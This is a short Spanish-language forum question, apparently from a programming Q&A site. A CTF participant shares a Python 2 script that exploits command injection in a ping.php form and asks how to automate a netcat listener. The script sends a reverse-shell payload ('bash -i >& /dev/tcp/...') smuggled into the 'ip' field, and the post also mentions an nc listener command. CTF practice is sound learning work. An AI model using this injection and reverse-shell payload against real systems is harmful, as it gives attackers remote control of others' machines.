Estoy codificando un exploit en Python que explota una vulnerabilidad de inyección de comandos para un CTF y me pregunto cómo podría iniciar un oyente netcat y luego enviar la carga útil al host remoto y una vez que se establezca la conexión, se ejecutará el script Termina y me deja en la conexión establecida.
Este es mi código:
url= "http://vuln_url:8080/ping.php"
IP_ADDRESS = 'local_ip'
PORT = '9999'
cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)
values = {
'ip': cmd,
'submit':'submit'
}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)
Lo que quiero hacer es algo como esto:
url= "http://vuln_url:8080/ping.php"
IP_ADDRESS = 'local_ip'
PORT = '9999'
cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)
values = {
'ip': cmd,
'submit':'submit'
}
#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)
#Code to drop me to the nc stablished connection
No estoy seguro si tal cosa es posible. ¿Alguna idea?